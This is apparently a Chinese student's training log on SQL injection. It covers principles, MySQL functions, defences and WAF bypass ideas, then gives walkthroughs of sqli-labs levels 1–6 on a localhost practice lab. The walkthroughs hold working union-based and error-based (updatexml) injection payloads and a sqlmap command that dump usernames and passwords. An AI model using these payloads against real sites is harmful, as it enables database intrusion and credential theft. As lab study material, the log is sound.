实训日志day5

day5作业:

1.总结SQL注入原理、常用函数及含义,防御手段,常用绕过waf的方法
2.总结SQLi的手工注入的步骤
3.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
4.使用sqlmap通过或验证第六关


1.sql注入

1.1注入原理

SQL注入攻击利用应用程序未正确处理用户输入来操控数据库。攻击者插入恶意SQL代码,修改查

询逻辑,实现未经授权的操作。

1.2常用函数及含义

version():查询数据库的版本

user():查询数据库的使用者

database():数据库

system_user():系统用户名

session_user():连接数据库的用户名

current_user():当前用户名

load_file():读取本地文件

@@datadir:读取数据库路径

@@basedir:mysql安装路径

@@version_complie_os:查看操作系统

ascii(str):返回给定字符的ascii值。如果str是空字符串,返回0如果str是NULL,返回NULL。如 ascii("a")=97

length(str) : 返回给定字符串的长度,如 length("string")=6

substr(string,start,length):对于给定字符串string,从start位开始截取,截取length长度 ,如substr("chinese",3,2)="in"

substr()、stbstring()、mid() :三个函数的用法、功能均一致

concat(username):将查询到的username连在一起,默认用逗号分隔

concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接

group_concat(username) :将username所有数据查询在一起,用逗号连接

limit 0,1:查询第1个数 limit 1,1:查询第2个数

1.3防御手段

参数化查询:将SQL语句与参数分开处理,避免直接拼接用户输入。

存储过程:将SQL逻辑封装在数据库端的存储过程里,减少直接操作SQL的风险。

输入验证:对用户输入进行严格验证,检查数据类型、长度、格式等,防止恶意数据。

最小权限原则:数据库账户只授予最低必要的权限,防止被利用执行敏感操作。

1.4waf绕过

编码绕过:将注入代码使用URL编码或十六进制编码隐藏。

时间延迟攻击:利用SLEEP或WAITFOR DELAY等函数,在数据库执行中引入延迟,检测响应时间。

注释符号:使用SQL注释(如--或/*...*/)去除多余的SQL代码,如在' OR '1'='1后使用注释,避免被WAF检测。

不同字符集:在SQL注入中使用不同字符集编码的字符,绕过基于模式的检测。

2.手工注入

判断数据库类型

判断当前数据库名

判断当前数据库中的表

判断字段中的数据

3.sqli-labs

第一关

?id=1'order by 3 --+正确

?id=1'order by 4 --+报错

字段数为3

?id=-1'union select 1,2,3--+

找回显

?id=-1'union select 1,database(),version()--+

找库名

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

找表名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

找字段

第二关

?id=1 order by 3


?id=-1 union select 1,2,3


?id=-1 union select 1,database(),version()


?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'


?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'


?id=-1 union select 1,2,group_concat(username ,id , password) from users

第三关

?id=2')--+


?id=1') order by 3--+


?id=-1') union select 1,2,3--+


?id=-1') union select 1,database(),version()--+


?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+


?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+


?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

第四关

?id=1") order by 3--+


?id=-1") union select 1,2,3--+


?id=-1") union select 1,database(),version()--+


?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+


?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+


?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

第五关

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

4.sqlmap

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/index.php?id=1" --technique E -D security -T users --dump --batch

  • 10
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQLAlchemy 是一个 SQL 工具包和对象关系映射(ORM)库,用于 Python 编程语言。它提供了一个高级的 SQL 工具和对象关系映射工具,允许开发者以 Python 类和对象的形式操作数据库,而无需编写大量的 SQL 语句。SQLAlchemy 建立在 DBAPI 之上,支持多种数据库后端,如 SQLite, MySQL, PostgreSQL 等。 SQLAlchemy 的核心功能: 对象关系映射(ORM): SQLAlchemy 允许开发者使用 Python 类来表示数据库表,使用类的实例表示表中的行。 开发者可以定义类之间的关系(如一对多、多对多),SQLAlchemy 会自动处理这些关系在数据库中的映射。 通过 ORM,开发者可以像操作 Python 对象一样操作数据库,这大大简化了数据库操作的复杂性。 表达式语言: SQLAlchemy 提供了一个丰富的 SQL 表达式语言,允许开发者以 Python 表达式的方式编写复杂的 SQL 查询。 表达式语言提供了对 SQL 语句的灵活控制,同时保持了代码的可读性和可维护性。 数据库引擎和连接池: SQLAlchemy 支持多种数据库后端,并且为每种后端提供了对应的数据库引擎。 它还提供了连接池管理功能,以优化数据库连接的创建、使用和释放。 会话管理: SQLAlchemy 使用会话(Session)来管理对象的持久化状态。 会话提供了一个工作单元(unit of work)和身份映射(identity map)的概念,使得对象的状态管理和查询更加高效。 事件系统: SQLAlchemy 提供了一个事件系统,允许开发者在 ORM 的各个生命周期阶段插入自定义的钩子函数。 这使得开发者可以在对象加载、修改、删除等操作时执行额外的逻辑。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值